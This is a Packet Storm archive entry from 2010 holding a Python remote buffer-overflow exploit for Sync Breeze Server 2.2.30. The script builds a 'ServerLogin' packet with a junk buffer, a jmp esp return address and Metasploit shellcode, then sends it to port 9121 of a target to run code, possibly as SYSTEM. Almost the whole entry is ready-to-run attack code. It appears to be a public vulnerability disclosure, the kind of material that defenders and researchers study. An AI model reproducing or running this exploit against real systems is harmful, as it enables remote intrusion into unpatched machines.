Sync Breeze Server 2.2.30 Buffer Overflow

2010-10-11T00:00:00
ID PACKETSTORM:94596
Type packetstorm
Reporter xsploited Security
Modified 2010-10-11T00:00:00

Description

                                        
                                            `#!/usr/bin/python  
  
# Exploit Title: Sync Breeze Server v2.2.30 Remote BOF Exploit  
# Date: 10/10/2010  
# Author: Xsploited Security [aka xsploitedsec]  
# URL: http://www.x-sploited.com/  
# Contact: xsploitedsecurity [at] x-sploited.com  
# Software Link: http://www.syncbreeze.com/setups/syncbreezesrv_setup_v2.2.30.exe  
# Version: v2.2.30 (Others are most likely effected as well)  
# Tested on: A Windows XP SP3 machine  
# CVE : N/A  
  
### Vulnerability Information: ###  
# A vulnerability exists in the way Sync Breeze v2.2.30 processes its login requests after accepting a connection from a remote client.  
# If a packet with a length greater than 484 bytes is received with the command prefix "ServerLogin." the effected Service (syncbrs.exe)  
# will crash, from the result of a buffer overflow. An attacker can easily leverage this vulnerability and control execution flow /  
# execute arbitrary code.  
###  
# This PoCs Usage:  
# 1. Verify that the service is running on the remote machine, the default port is 9121.  
# 2. Execute syncbreeze.py against the host  
# 3. Check remote machines process list for calc to verify successful command execution. (Running as SYSTEM, on my test machine at least..)  
###  
# Other notes:  
# If the software is installed from an administrator account, shellcode will be executed at admin / (system) level. This could be a potential  
# privelage escilation attack vector (although I have not verified this yet)  
  
# I am sure a lot more can be done with this (fit more shellcode, universal etc.) I'll leave that up to researchers however.   
# Have fun!  
###  
  
### Shouts:  
# kAoTiX - Helping me verify this bug/exploit  
# MAX - Keeps me entertained, makes me giggle  
# CorelanCoder - Your tutorials are absolutely fking awesome  
# exploit-db, offensive-sec, packetstormsecurity and all security teams and sites!  
###  
  
import sys,socket  
  
if len(sys.argv) != 2:  
print "[!] Usage: ./syncbreeze.py <Target IP>"  
sys.exit(1)  
  
about = "=================================================\n"  
about += "Title: Sync Breeze Server v2.2.30 Remote BOF PoC\n"  
about += "Author: xsploited security\nURL: http://www.x-sploited.com/\n"  
about += "Contact: xsploitedsecurity [at] gmail.com\n"  
about += "=================================================\n"  
print about  
  
host = sys.argv[1]  
port = 9121 #default server port, unchangeable (I think)  
  
# windows/exec - 218 bytes / http://www.metasploit.com  
# Encoder: x86/fnstenv_mov / EXITFUNC=seh, CMD=calc  
calc = ("\x6a\x31\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x97\x8c"   
"\x8a\x10\x83\xeb\xfc\xe2\xf4\x6b\x64\x03\x10\x97\x8c\xea\x99"   
"\x72\xbd\x58\x74\x1c\xde\xba\x9b\xc5\x80\x01\x42\x83\x07\xf8"   
"\x38\x98\x3b\xc0\x36\xa6\x73\xbb\xd0\x3b\xb0\xeb\x6c\x95\xa0"   
"\xaa\xd1\x58\x81\x8b\xd7\x75\x7c\xd8\x47\x1c\xde\x9a\x9b\xd5"   
"\xb0\x8b\xc0\x1c\xcc\xf2\x95\x57\xf8\xc0\x11\x47\xdc\x01\x58"   
"\x8f\x07\xd2\x30\x96\x5f\x69\x2c\xde\x07\xbe\x9b\x96\x5a\xbb"   
"\xef\xa6\x4c\x26\xd1\x58\x81\x8b\xd7\xaf\x6c\xff\xe4\x94\xf1"   
"\x72\x2b\xea\xa8\xff\xf2\xcf\x07\xd2\x34\x96\x5f\xec\x9b\x9b"   
"\xc7\x01\x48\x8b\x8d\x59\x9b\x93\x07\x8b\xc0\x1e\xc8\xae\x34"   
"\xcc\xd7\xeb\x49\xcd\xdd\x75\xf0\xcf\xd3\xd0\x9b\x85\x67\x0c"   
"\x4d\xfd\x8d\x07\x95\x2e\x8c\x8a\x10\xc7\xe4\xbb\x9b\xf8\x0b"   
"\x75\xc5\x2c\x72\x84\x22\x7d\xe4\x2c\x85\x2a\x11\x75\xc5\xab"   
"\x8a\xf6\x1a\x17\x77\x6a\x65\x92\x37\xcd\x03\xe5\xe3\xe0\x10"   
"\xc4\x73\x5f\x73\xf6\xe0\xe9\x10");  
  
# Begin payload buffer:  
  
packet_header = ("\x53\x65\x72\x76\x65\x72\x4C\x6F\x67\x69\x6E\x02");  
  
junk = "\x90" * 256; #265 byte junk buffer to reach eip  
eip = "\xFB\xF8\xAB\x71"; #jmp esp (via ws2_32.dll)   
nops = "\x90" * 12; #small nop sled  
  
# packet structure:  
# [header][junk][eip][nops][shellcode][nops][nops]  
  
packet = packet_header + junk + eip + nops + calc + nops + nops;  
  
print "[*] Connecting to " + host + "...\r"  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((host,port))  
  
print "[*] Connected, Sending payload\r"  
s.send(packet + "\r\n")  
print "[*] Payload sent successfully"  
print "[*] Check the results\r"  
s.close()  
`